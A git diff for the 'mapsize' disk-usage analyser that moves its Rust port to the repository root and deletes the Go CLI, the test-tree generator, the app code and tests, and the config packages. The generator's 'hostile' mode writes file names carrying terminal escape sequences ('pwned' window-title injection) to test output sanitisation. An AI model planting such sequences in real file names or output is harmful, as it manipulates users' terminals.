diff --git a/.gitignore b/.gitignore index aae86f8..fc8bd07 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,5 @@ +/target +/dist bin/ *.msz -*.prof -*.test -/mapsize +!src/snapshot/testdata/*.msz diff --git a/rust/Cargo.lock b/Cargo.lock similarity index 100% rename from rust/Cargo.lock rename to Cargo.lock diff --git a/rust/Cargo.toml b/Cargo.toml similarity index 100% rename from rust/Cargo.toml rename to Cargo.toml diff --git a/rust/README.md b/RUST-PORT-NOTES.md similarity index 100% rename from rust/README.md rename to RUST-PORT-NOTES.md diff --git a/cmd/mapsize/main.go b/cmd/mapsize/main.go deleted file mode 100644 index c4b8cdc..0000000 --- a/cmd/mapsize/main.go +++ /dev/null @@ -1,200 +0,0 @@ -// Command mapsize is an interactive terminal disk usage analyser. -package main - -import ( - "flag" - "fmt" - "io" - "log/slog" - "os" - "runtime" - "runtime/pprof" - "strings" - - "github.com/andydixon/mapsize/internal/app" - "github.com/andydixon/mapsize/internal/brand" - "github.com/andydixon/mapsize/internal/config" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" - "github.com/andydixon/mapsize/internal/snapshot" - "github.com/andydixon/mapsize/internal/textutil" -) - -type multiFlag []string - -func (m *multiFlag) String() string { return strings.Join(*m, ",") } -func (m *multiFlag) Set(s string) error { *m = append(*m, s); return nil } - -func main() { - os.Exit(run(os.Args[1:])) -} - -func run(args []string) int { - settings, cfgErr := config.Load() - fs := flag.NewFlagSet(brand.Name, flag.ContinueOnError) - fs.Usage = func() { usage(fs) } - var ( - excludes multiFlag - workers = fs.String("workers", settings.Workers, "concurrency: conservative, balanced, aggressive or a number") - follow = fs.String("follow-symlinks", settings.FollowSymlinks, "none, same-filesystem or all") - oneFS = fs.Bool("one-file-system", settings.OneFileSystem, "do not cross filesystem boundaries") - oneFSx = fs.Bool("x", false, "short for --one-file-system") - readOnly = fs.Bool("read-only", false, "disable all modifying actions") - noUI = fs.Bool("no-ui", false, "scan without the interactive interface and print a summary") - jsonOut = fs.Bool("json", false, "print the inventory as JSON") - csvOut = fs.Bool("csv", false, "print the inventory as CSV") - depth = fs.Int("depth", -1, "maximum depth for --json/--csv (-1 = unlimited)") - top = fs.Int("top", 0, "print the N largest entries of the root") - largest = fs.Int("largest-files", 0, "print the N largest files") - dups = fs.Bool("duplicates", false, "find duplicate files (non-interactive)") - save = fs.String("save", "", "save a snapshot to `FILE` after scanning") - snap = fs.String("snapshot", "", "alias for --save") - load = fs.String("load", "", "open a saved snapshot `FILE` instead of scanning") - scanPath = fs.String("scan", "", "path to scan (alternative to a positional argument)") - compare = fs.Bool("compare", false, "compare two snapshots: --compare OLD NEW") - si = fs.Bool("si", settings.Units == "si", "use SI units (kB, MB) instead of IEC (KiB, MiB)") - logical = fs.Bool("apparent", settings.SizeMode == "logical", "size by logical (apparent) size instead of disk usage") - theme = fs.String("theme", settings.Theme, "colour theme: default, dark, high-contrast, mono") - colorMode = fs.String("color", "auto", "colour support: auto, truecolor, 256, 16, none") - noMouse = fs.Bool("no-mouse", !settings.Mouse, "disable mouse support") - logFile = fs.String("log", "", "write a debug log to `FILE`") - logLevel = fs.String("log-level", "info", "log level: error, warn, info, debug, trace") - cpuProfile = fs.String("cpuprofile", "", "write a CPU profile to `FILE`") - memProfile = fs.String("memprofile", "", "write a heap profile to `FILE` on exit") - version = fs.Bool("version", false, "print version and exit") - ) - fs.Var(&excludes, "exclude", "exclude `PATTERN` (glob on name, or path prefix if it contains a separator); repeatable") - - var positional []string - for { - if err := fs.Parse(args); err != nil { - if err == flag.ErrHelp { - return 0 - } - return 2 - } - args = fs.Args() - if len(args) == 0 { - break - } - positional = append(positional, args[0]) - args = args[1:] - } - if *version { - fmt.Printf("%s %s (%s/%s)\n", brand.Name, brand.Version, runtime.GOOS, runtime.GOARCH) - return 0 - } - if cfgErr != nil { - fmt.Fprintf(os.Stderr, "%s: warning: config: %v (using defaults)\n", brand.Name, cfgErr) - } - textutil.SI = *si - - if *logFile != "" { - closeLog, err := setupLog(*logFile, *logLevel) - if err != nil { - fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, err) - return 2 - } - defer closeLog() - } else { - slog.SetDefault(slog.New(slog.NewTextHandler(io.Discard, nil))) - } - if *cpuProfile != "" { - f, err := os.Create(*cpuProfile) - if err == nil { - pprof.StartCPUProfile(f) - defer pprof.StopCPUProfile() - } - } - if *memProfile != "" { - defer func() { - if f, err := os.Create(*memProfile); err == nil { - runtime.GC() - pprof.WriteHeapProfile(f) - f.Close() - } - }() - } - - cfg := &app.Config{ - NoUI: *noUI, JSON: *jsonOut, CSV: *csvOut, Depth: *depth, Top: *top, LargestFiles: *largest, - Duplicates: *dups, ReadOnly: *readOnly, Theme: *theme, Mouse: !*noMouse, Color: *colorMode, Load: *load, - Settings: settings, - } - if *logical { - cfg.SizeMode = inventory.SizeLogical - } - cfg.Save = *save - if cfg.Save == "" { - cfg.Save = *snap - } - if *scanPath != "" { - positional = append([]string{*scanPath}, positional...) - } - if *compare { - if len(positional) != 2 { - fmt.Fprintf(os.Stderr, "%s: --compare needs exactly two snapshot files\n", brand.Name) - return 2 - } - cfg.Compare = [2]string{positional[0], positional[1]} - } else { - if len(positional) > 1 { - fmt.Fprintf(os.Stderr, "%s: only one path may be scanned at a time\n", brand.Name) - return 2 - } - if len(positional) == 1 && cfg.Load == "" && snapshot.IsSnapshot(positional[0]) { - cfg.Load = positional[0] - } else { - cfg.Paths = positional - } - } - - w, err := scan.Workers(*workers) - if err != nil { - fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, err) - return 2 - } - fm, err := scan.ParseFollow(*follow) - if err != nil { - fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, err) - return 2 - } - cfg.ScanOpts = scan.Options{Workers: w, Follow: fm, OneFileSystem: *oneFS || *oneFSx, - Excludes: append(append([]string(nil), settings.Excludes...), excludes...)} - - if err := app.Run(cfg); err != nil { - fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, textutil.Sanitize(err.Error())) - return 1 - } - return 0 -} - -func setupLog(path, level string) (func(), error) { - lv := map[string]slog.Level{"error": slog.LevelError, "warn": slog.LevelWarn, "info": slog.LevelInfo, - "debug": slog.LevelDebug, "trace": slog.LevelDebug - 4} - l, ok := lv[level] - if !ok { - return nil, fmt.Errorf("invalid --log-level %q", level) - } - f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600) - if err != nil { - return nil, err - } - slog.SetDefault(slog.New(slog.NewTextHandler(f, &slog.HandlerOptions{Level: l}))) - return func() { f.Close() }, nil -} - -func usage(fs *flag.FlagSet) { - w := fs.Output() - fmt.Fprintf(w, `%[1]s — interactive terminal disk usage analyser - -Usage: - %[1]s [flags] [PATH] scan PATH (default .) interactively - %[1]s [flags] SNAPSHOT%[2]s open a saved snapshot - %[1]s --compare OLD NEW compare two snapshots - %[1]s PATH --top 50 | --json | --csv | --no-ui --save FILE - -Flags: -`, brand.Name, brand.SnapshotExt) - fs.PrintDefaults() -} diff --git a/cmd/treegen/main.go b/cmd/treegen/main.go deleted file mode 100644 index c33b4cd..0000000 --- a/cmd/treegen/main.go +++ /dev/null @@ -1,130 +0,0 @@ -// Command treegen creates synthetic directory trees for testing and -// benchmarking mapsize. -package main - -import ( - "flag" - "fmt" - "math" - "math/rand" - "os" - "path/filepath" - "time" -) - -func main() { - var ( - out = flag.String("out", "", "output directory (required, must not exist or be empty)") - dirs = flag.Int("directories", 1000, "number of directories") - files = flag.Int("files", 10000, "number of files") - depth = flag.Int("max-depth", 8, "maximum directory depth") - sparse = flag.Bool("sparse", false, "make some large files sparse") - unicode = flag.Bool("unicode", false, "use Unicode and unusual (but safe) names") - hostile = flag.Bool("hostile", false, "include names with control characters/escape sequences (Unix only)") - maxSize = flag.Int64("max-size", 1<<20, "largest regular file in bytes (sizes are log-uniform; content is written)") - seed = flag.Int64("seed", 1, "random seed (deterministic output)") - hotspots = flag.Int("hotspots", 3, "directories that receive a large share of files") - ) - flag.Parse() - if *out == "" { - flag.Usage() - os.Exit(2) - } - if err := os.MkdirAll(*out, 0o755); err != nil { - fatal(err) - } - if ents, _ := os.ReadDir(*out); len(ents) > 0 { - fatal(fmt.Errorf("%s is not empty", *out)) - } - r := rand.New(rand.NewSource(*seed)) - start := time.Now() - - type dir struct { - path string - depth int - } - all := []dir{{*out, 0}} - byDepth := [][]int{{0}} - for len(all) < *dirs+1 { - // Pick a depth first, then a directory at that depth, so the tree is - // broad near the top instead of one giant preferential-attachment chain. - lv := byDepth[r.Intn(len(byDepth))] - p := all[lv[r.Intn(len(lv))]] - if p.depth >= *depth { - continue - } - d := dir{filepath.Join(p.path, name(r, len(all), *unicode, *hostile)), p.depth + 1} - if err := os.Mkdir(d.path, 0o755); err != nil { - continue // name collision; try again - } - all = append(all, d) - if d.depth == len(byDepth) { - byDepth = append(byDepth, nil) - } - byDepth[d.depth] = append(byDepth[d.depth], len(all)-1) - } - hot := make([]int, *hotspots) - for i := range hot { - hot[i] = r.Intn(len(all)) - } - var bytes int64 - buf := make([]byte, *maxSize) - for i := range buf { - buf[i] = byte(r.Intn(256)) // incompressible, so allocation is real everywhere - } - for i := 0; i < *files; i++ { - var d dir - if len(hot) > 0 && r.Intn(3) == 0 { - d = all[hot[r.Intn(len(hot))]] - } else { - d = all[r.Intn(len(all))] - } - p := filepath.Join(d.path, name(r, i, *unicode, *hostile)+ext(r)) - // Log-uniform sizes: many tiny files, a few large ones. - size := int64(math.Exp(r.Float64() * math.Log(float64(*maxSize)))) - if r.Intn(20) == 0 { - size = 0 - } - f, err := os.OpenFile(p, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o644) - if err != nil { - continue - } - if *sparse && r.Intn(200) == 0 { - // Sparse: a large logical size with almost nothing allocated. - f.Truncate(int64(1+r.Intn(8)) << 30) - f.WriteAt([]byte("x"), 0) - } else if size > 0 { - if _, err := f.Write(buf[:size]); err != nil { - fatal(err) - } - bytes += size - } - f.Close() - if i%100000 == 0 && i > 0 { - fmt.Fprintf(os.Stderr, "%d files…\n", i) - } - } - fmt.Fprintf(os.Stderr, "created %d directories, %d files (%d logical bytes) in %s\n", - len(all)-1, *files, bytes, time.Since(start).Round(time.Millisecond)) -} - -var words = []string{"data", "cache", "backup", "photos", "src", "build", "logs", "tmp", "vm", "media", "docs", "lib", "node_modules", "archive"} -var exts = []string{".txt", ".log", ".jpg", ".png", ".mp4", ".iso", ".qcow2", ".go", ".c", ".pdf", ".zip", ".tar.gz", ".db", ".so", "", ".json", ".mkv", ".flac"} -var uni = []string{"日本語", "Ünïcödé", "emoji 🎉", "Ελληνικά", "кириллица", "space name", "quote'name", "dash-name"} - -func name(r *rand.Rand, i int, unicode, hostile bool) string { - switch { - case hostile && r.Intn(50) == 0: - return fmt.Sprintf("evil\x1b[31m%d\x1b]0;pwned\x07", i) - case unicode && r.Intn(5) == 0: - return fmt.Sprintf("%s-%d", uni[r.Intn(len(uni))], i) - } - return fmt.Sprintf("%s-%d", words[r.Intn(len(words))], i) -} - -func ext(r *rand.Rand) string { return exts[r.Intn(len(exts))] } - -func fatal(err error) { - fmt.Fprintln(os.Stderr, "treegen:", err) - os.Exit(1) -} diff --git a/rust/examples/bench.rs b/examples/bench.rs similarity index 100% rename from rust/examples/bench.rs rename to examples/bench.rs diff --git a/go.mod b/go.mod deleted file mode 100644 index c788942..0000000 --- a/go.mod +++ /dev/null @@ -1,25 +0,0 @@ -module github.com/andydixon/mapsize - -go 1.26.0 - -require ( - github.com/rivo/uniseg v0.4.7 - golang.org/x/sys v0.48.0 -) - -require ( - charm.land/bubbletea/v2 v2.0.10 // indirect - github.com/charmbracelet/colorprofile v0.4.3 // indirect - github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7 // indirect - github.com/charmbracelet/x/ansi v0.11.8 // indirect - github.com/charmbracelet/x/term v0.2.2 // indirect - github.com/charmbracelet/x/termios v0.1.1 // indirect - github.com/charmbracelet/x/windows v0.2.2 // indirect - github.com/clipperhouse/displaywidth v0.11.0 // indirect - github.com/clipperhouse/uax29/v2 v2.7.0 // indirect - github.com/lucasb-eyer/go-colorful v1.4.0 // indirect - github.com/mattn/go-runewidth v0.0.24 // indirect - github.com/muesli/cancelreader v0.2.2 // indirect - github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect - golang.org/x/sync v0.21.0 // indirect -) diff --git a/go.sum b/go.sum deleted file mode 100644 index 1b9a097..0000000 --- a/go.sum +++ /dev/null @@ -1,32 +0,0 @@ -charm.land/bubbletea/v2 v2.0.10 h1:oolvo20VBpI0PfqE7iFjkZ1bx0WpmXGfnKz5Yldjq5o= -charm.land/bubbletea/v2 v2.0.10/go.mod h1:QOatcnhOjYIfxzUSTz6raF7Ex4R/rIuHa3SnBdCCpMc= -github.com/charmbracelet/colorprofile v0.4.3 h1:QPa1IWkYI+AOB+fE+mg/5/4HRMZcaXex9t5KX76i20Q= -github.com/charmbracelet/colorprofile v0.4.3/go.mod h1:/zT4BhpD5aGFpqQQqw7a+VtHCzu+zrQtt1zhMt9mR4Q= -github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7 h1:3FmWoGNWK4STvqg0O0Aeav2T7rodWJAPeF0QpH+8gFw= -github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7/go.mod h1:f/jRa757WUmaOZrbPspXymbg/GnbF+rwe4OLsG7aXYo= -github.com/charmbracelet/x/ansi v0.11.8 h1:JMFwp0CgDC2+jcOB162HH5k7I3FVbgFSMMYg7dSPBQQ= -github.com/charmbracelet/x/ansi v0.11.8/go.mod h1:ZNN+3mXny/516oTQPLMPIBeSINvNJJQ8uQXDgbeJxY0= -github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk= -github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI= -github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY= -github.com/charmbracelet/x/termios v0.1.1/go.mod h1:rB7fnv1TgOPOyyKRJ9o+AsTU/vK5WHJ2ivHeut/Pcwo= -github.com/charmbracelet/x/windows v0.2.2 h1:IofanmuvaxnKHuV04sC0eBy/smG6kIKrWG2/jYn2GuM= -github.com/charmbracelet/x/windows v0.2.2/go.mod h1:/8XtdKZzedat74NQFn0NGlGL4soHB0YQZrETF96h75k= -github.com/clipperhouse/displaywidth v0.11.0 h1:lBc6kY44VFw+TDx4I8opi/EtL9m20WSEFgwIwO+UVM8= -github.com/clipperhouse/displaywidth v0.11.0/go.mod h1:bkrFNkf81G8HyVqmKGxsPufD3JhNl3dSqnGhOoSD/o0= -github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk= -github.com/clipperhouse/uax29/v2 v2.7.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM= -github.com/lucasb-eyer/go-colorful v1.4.0 h1:UtrWVfLdarDgc44HcS7pYloGHJUjHV/4FwW4TvVgFr4= -github.com/lucasb-eyer/go-colorful v1.4.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= -github.com/mattn/go-runewidth v0.0.24 h1:cpokDiIn0MGnhdHwuWnJBITySJ20QyNGnY2kR/ay2DU= -github.com/mattn/go-runewidth v0.0.24/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs= -github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA= -github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo= -github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= -github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= -github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no= -github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM= -golang.org/x/sync v0.21.0 h1:HLII4xRRTtCRkxYp4HNFF0Js/Og6q2i++KXbg0gHCwM= -golang.org/x/sync v0.21.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= -golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo= -golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og= diff --git a/internal/app/app.go b/internal/app/app.go deleted file mode 100644 index b6b077e..0000000 --- a/internal/app/app.go +++ /dev/null @@ -1,171 +0,0 @@ -// Package app wires the command-line modes together: interactive TUI, -// non-interactive reports, snapshots and comparisons. TUI and CLI share the -// same scanner and inventory packages. -package app - -import ( - "context" - "fmt" - "io" - "log/slog" - "os" - "os/signal" - "time" - - "github.com/andydixon/mapsize/internal/config" - "github.com/andydixon/mapsize/internal/export" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" - "github.com/andydixon/mapsize/internal/textutil" -) - -// Config is the fully-resolved command line. -type Config struct { - Paths []string - ScanOpts scan.Options - NoUI bool - JSON, CSV bool - Depth int - Top int - LargestFiles int - Save string - Load string - Compare [2]string - Duplicates bool - ReadOnly bool - Theme string - SizeMode inventory.SizeMode - Mouse bool - Color string - Settings config.Settings - Stdout io.Writer - Stderr io.Writer -} - -// Report reports whether any non-interactive output was requested. -func (c *Config) Report() bool { - return c.NoUI || c.JSON || c.CSV || c.Top > 0 || c.LargestFiles > 0 || c.Duplicates -} - -// Run executes the configured mode. -func Run(cfg *Config) error { - if cfg.Stdout == nil { - cfg.Stdout = os.Stdout - } - if cfg.Stderr == nil { - cfg.Stderr = os.Stderr - } - if cfg.Compare[0] != "" { - return runCompare(cfg) - } - if !cfg.Report() { - return runTUI(cfg) - } - return runReport(cfg) -} - -// startSource begins a scan (or loads a snapshot). The scanner is nil when -// the tree came from a snapshot. -func startSource(ctx context.Context, cfg *Config) (*scan.Scanner, *inventory.Tree, error) { - if cfg.Load != "" { - t, err := loadSnapshot(cfg.Load) - return nil, t, err - } - root := "." - if len(cfg.Paths) > 0 { - root = cfg.Paths[0] - } - slog.Info("scan start", "workers", cfg.ScanOpts.Workers, "follow", cfg.ScanOpts.Follow.String()) - s, err := scan.Start(ctx, root, cfg.ScanOpts) - if err != nil { - return nil, nil, err - } - return s, s.Tree, nil -} - -func runReport(cfg *Config) error { - ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt) - defer stop() - s, t, err := startSource(ctx, cfg) - if err != nil { - return err - } - if s != nil { - waitWithProgress(s, cfg.Stderr) - } - if cfg.Duplicates && !cfg.JSON && !cfg.CSV { - // Find takes its own read lock; never nest RLock. - if err := runDuplicates(ctx, cfg, t); err != nil { - return err - } - } - t.RLock() - defer t.RUnlock() - if s != nil && cfg.Save != "" { - if err := saveSnapshot(t, cfg.Save); err != nil { - return err - } - fmt.Fprintf(cfg.Stderr, "Saved snapshot %s\n", cfg.Save) - } - out := cfg.Stdout - switch { - case cfg.JSON: - return export.JSON(out, t, t.Root(), cfg.Depth) - case cfg.CSV: - return export.CSV(out, t, t.Root(), cfg.Depth) - } - if cfg.Top > 0 { - ids := t.SortedChildren(t.Root(), cfg.SizeMode) - if len(ids) > cfg.Top { - ids = ids[:cfg.Top] - } - export.Table(out, t, ids, cfg.SizeMode) - fmt.Fprintln(out) - } - if cfg.LargestFiles > 0 { - ids := t.Top(t.Root(), cfg.LargestFiles, - func(n *inventory.Node) bool { - return n.Kind == inventory.KindFile && n.Flags&inventory.FlagHardlinkDup == 0 - }, - func(n *inventory.Node) int64 { return n.Own(cfg.SizeMode) }) - export.Table(out, t, ids, cfg.SizeMode) - fmt.Fprintln(out) - } - export.Summary(out, t) - return nil -} - -// waitWithProgress blocks until the scan finishes, printing a progress line -// to w if it is a terminal. -func waitWithProgress(s *scan.Scanner, w io.Writer) { - tty := isTerminal(w) - tick := time.NewTicker(250 * time.Millisecond) - defer tick.Stop() - start := time.Now() - for { - select { - case <-s.Done(): - if tty { - fmt.Fprint(w, "\r\033[K") - } - return - case <-tick.C: - if tty { - p := s.Progress() - el := time.Since(start) - fmt.Fprintf(w, "\r\033[Kscanning… %s entries %s/s queue %d %s", - textutil.Count(p.Entries), textutil.Count(int64(float64(p.Entries)/el.Seconds())), - p.Pending, textutil.Duration(el)) - } - } - } -} - -func isTerminal(w io.Writer) bool { - f, ok := w.(*os.File) - if !ok { - return false - } - fi, err := f.Stat() - return err == nil && fi.Mode()&os.ModeCharDevice != 0 -} diff --git a/internal/app/app_test.go b/internal/app/app_test.go deleted file mode 100644 index 5bf8d13..0000000 --- a/internal/app/app_test.go +++ /dev/null @@ -1,105 +0,0 @@ -package app - -import ( - "bytes" - "encoding/csv" - "encoding/json" - "os" - "path/filepath" - "strings" - "testing" - - "github.com/andydixon/mapsize/internal/scan" -) - -func fixture(t *testing.T) string { - root := t.TempDir() - os.MkdirAll(filepath.Join(root, "big"), 0o755) - os.MkdirAll(filepath.Join(root, "small"), 0o755) - os.WriteFile(filepath.Join(root, "big", "a.iso"), make([]byte, 300_000), 0o644) - os.WriteFile(filepath.Join(root, "big", "b.iso"), make([]byte, 300_000), 0o644) - os.WriteFile(filepath.Join(root, "small", "c.txt"), []byte("hello"), 0o644) - return root -} - -func run(t *testing.T, cfg *Config) string { - t.Helper() - var out bytes.Buffer - cfg.Stdout, cfg.Stderr = &out, &bytes.Buffer{} - cfg.ScanOpts = scan.Options{Workers: 2} - if err := Run(cfg); err != nil { - t.Fatalf("Run: %v", err) - } - return out.String() -} - -func TestTopAndLargest(t *testing.T) { - root := fixture(t) - out := run(t, &Config{Paths: []string{root}, Top: 5, LargestFiles: 2}) - if !strings.Contains(out, filepath.Join(root, "big")) || !strings.Contains(out, "a.iso") { - t.Fatalf("report missing entries:\n%s", out) - } - if strings.Index(out, filepath.Join(root, "big")) > strings.Index(out, filepath.Join(root, "small")) { - t.Fatalf("not sorted by size:\n%s", out) - } -} - -func TestJSONIsValid(t *testing.T) { - root := fixture(t) - out := run(t, &Config{Paths: []string{root}, JSON: true, Depth: -1}) - var v struct { - Root string - Complete bool - Tree struct { - Size int64 - Children []struct{ Name string } - } - } - if err := json.Unmarshal([]byte(out), &v); err != nil { - t.Fatalf("invalid JSON: %v\n%s", err, out) - } - if !v.Complete || v.Tree.Size < 600_005 || len(v.Tree.Children) != 2 { - t.Fatalf("unexpected JSON: %+v", v) - } -} - -func TestCSV(t *testing.T) { - root := fixture(t) - out := run(t, &Config{Paths: []string{root}, CSV: true, Depth: -1}) - rows, err := csv.NewReader(strings.NewReader(out)).ReadAll() - if err != nil { - t.Fatal(err) - } - if len(rows) != 1+1+2+3 { // header, root, 2 dirs, 3 files - t.Fatalf("%d rows:\n%s", len(rows), out) - } -} - -func TestSnapshotSaveLoadCompare(t *testing.T) { - root := fixture(t) - dir := t.TempDir() - a, b := filepath.Join(dir, "a.msz"), filepath.Join(dir, "b.msz") - run(t, &Config{Paths: []string{root}, NoUI: true, Save: a}) - os.WriteFile(filepath.Join(root, "small", "grown.bin"), make([]byte, 500_000), 0o644) - os.Remove(filepath.Join(root, "big", "b.iso")) - run(t, &Config{Paths: []string{root}, NoUI: true, Save: b}) - - out := run(t, &Config{Load: a, Top: 3}) - if !strings.Contains(out, "big") { - t.Fatalf("loaded snapshot report:\n%s", out) - } - out = run(t, &Config{Compare: [2]string{a, b}, NoUI: true}) - for _, want := range []string{"new", "grown.bin", "removed", "b.iso"} { - if !strings.Contains(out, want) { - t.Fatalf("compare output missing %q:\n%s", want, out) - } - } -} - -func TestDuplicatesReport(t *testing.T) { - root := fixture(t) - out := run(t, &Config{Paths: []string{root}, Duplicates: true}) - if !strings.Contains(out, "1 verified duplicate groups") { - t.Fatalf("duplicates:\n%s", out) - } -} diff --git a/internal/app/modes.go b/internal/app/modes.go deleted file mode 100644 index 120f471..0000000 --- a/internal/app/modes.go +++ /dev/null @@ -1,80 +0,0 @@ -package app - -import ( - "context" - "fmt" - - "github.com/andydixon/mapsize/internal/duplicate" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" - "github.com/andydixon/mapsize/internal/snapshot" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/tui" -) - -func runTUI(cfg *Config) error { - return tui.Run(tui.Options{ - ReadOnly: cfg.ReadOnly, Theme: cfg.Theme, SizeMode: cfg.SizeMode, Mouse: cfg.Mouse, Color: cfg.Color, - Save: cfg.Save, Settings: cfg.Settings, - Start: func(ctx context.Context) (*scan.Scanner, *inventory.Tree, error) { return startSource(ctx, cfg) }, - }) -} - -func loadSnapshot(path string) (*inventory.Tree, error) { return snapshot.LoadFile(path) } - -func saveSnapshot(t *inventory.Tree, path string) error { return snapshot.SaveFile(path, t) } - -func runCompare(cfg *Config) error { - old, err := snapshot.LoadFile(cfg.Compare[0]) - if err != nil { - return fmt.Errorf("%s: %w", cfg.Compare[0], err) - } - nw, err := snapshot.LoadFile(cfg.Compare[1]) - if err != nil { - return fmt.Errorf("%s: %w", cfg.Compare[1], err) - } - d := snapshot.Compare(old, nw) - if !cfg.Report() { - return tui.Run(tui.Options{ - ReadOnly: true, Theme: cfg.Theme, SizeMode: cfg.SizeMode, Mouse: cfg.Mouse, Color: cfg.Color, - Settings: cfg.Settings, Diff: d, - Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, nw, nil }, - }) - } - k := cfg.Top - if k <= 0 { - k = 30 - } - out := cfg.Stdout - ro, rn := old.Node(0), nw.Node(0) - fmt.Fprintf(out, "%s → %s\n", textutil.Sanitize(old.Stats.FromSnapshot), textutil.Sanitize(nw.Stats.FromSnapshot)) - fmt.Fprintf(out, "Total %s → %s (%s)\n\n", textutil.Size(ro.Total(cfg.SizeMode)), textutil.Size(rn.Total(cfg.SizeMode)), - textutil.SignedSize(rn.Total(cfg.SizeMode)-ro.Total(cfg.SizeMode))) - for _, c := range d.Changes(k, cfg.SizeMode) { - fmt.Fprintf(out, "%-10s %14s %s\n", c.Status, textutil.SignedSize(c.Delta), textutil.Sanitize(c.Path)) - } - return nil -} - -func runDuplicates(ctx context.Context, cfg *Config, t *inventory.Tree) error { - var f duplicate.Finder - groups, err := f.Find(ctx, t, duplicate.Options{MinSize: 1}) - if err != nil { - return err - } - out := cfg.Stdout - var wasted int64 - t.RLock() - defer t.RUnlock() - for _, g := range groups { - wasted += g.Wasted() - fmt.Fprintf(out, "%s × %d (sha256 %x…)\n", textutil.Size(g.Size), len(g.Files), g.Hash[:6]) - for _, id := range g.Files { - fmt.Fprintf(out, " %s\n", textutil.Sanitize(t.Path(id))) - } - } - p := f.Progress() - fmt.Fprintf(out, "\n%d verified duplicate groups, %s reclaimable (%d candidates by size, %d unreadable/changed)\n\n", - len(groups), textutil.Size(wasted), p.Candidates, p.Skipped) - return nil -} diff --git a/internal/brand/brand.go b/internal/brand/brand.go deleted file mode 100644 index 6a5c54c..0000000 --- a/internal/brand/brand.go +++ /dev/null @@ -1,11 +0,0 @@ -// Package brand isolates the product name so it can be changed in one place. -package brand - -const ( - Name = "mapsize" - SnapshotExt = ".msz" - SnapshotMagic = "MAPSIZE\x00" -) - -// Version is stamped at release time via -ldflags -X. -var Version = "1.2.0" diff --git a/internal/config/config.go b/internal/config/config.go deleted file mode 100644 index b6bd6a6..0000000 --- a/internal/config/config.go +++ /dev/null @@ -1,72 +0,0 @@ -// Package config loads user settings from a JSON file in the OS-specific -// user configuration directory. It knows nothing about rendering. -package config - -import ( - "encoding/json" - "errors" - "io/fs" - "os" - "path/filepath" - - "github.com/andydixon/mapsize/internal/brand" -) - -// Settings are user preferences. Zero values are never used directly; Load -// starts from Defaults and overlays the file. -type Settings struct { - Workers string `json:"workers"` // conservative|balanced|aggressive|N - FollowSymlinks string `json:"follow_symlinks"` // none|same-filesystem|all - OneFileSystem bool `json:"one_file_system"` - Units string `json:"units"` // iec|si - SizeMode string `json:"size_mode"` // allocated|logical - Theme string `json:"theme"` - Mouse bool `json:"mouse"` - Excludes []string `json:"excludes"` - // ExtensionColors maps an extension (without dot) to "#rrggbb". - ExtensionColors map[string]string `json:"extension_colors"` - // CategoryColors maps a category name to "#rrggbb". - CategoryColors map[string]string `json:"category_colors"` - // RefreshHz is the UI refresh rate while scanning. - RefreshHz int `json:"refresh_hz"` -} - -// Defaults returns the built-in settings. -func Defaults() Settings { - return Settings{ - Workers: "balanced", FollowSymlinks: "none", Units: "iec", SizeMode: "allocated", - Theme: "default", Mouse: true, RefreshHz: 10, - } -} - -// Path returns the config file location. -func Path() (string, error) { - dir, err := os.UserConfigDir() - if err != nil { - return "", err - } - return filepath.Join(dir, brand.Name, "config.json"), nil -} - -// Load reads the config file if present. A missing file is not an error. -func Load() (Settings, error) { - s := Defaults() - p, err := Path() - if err != nil { - return s, nil - } - b, err := os.ReadFile(p) - if errors.Is(err, fs.ErrNotExist) { - return s, nil - } - if err != nil { - return s, err - } - if err := json.Unmarshal(b, &s); err != nil { 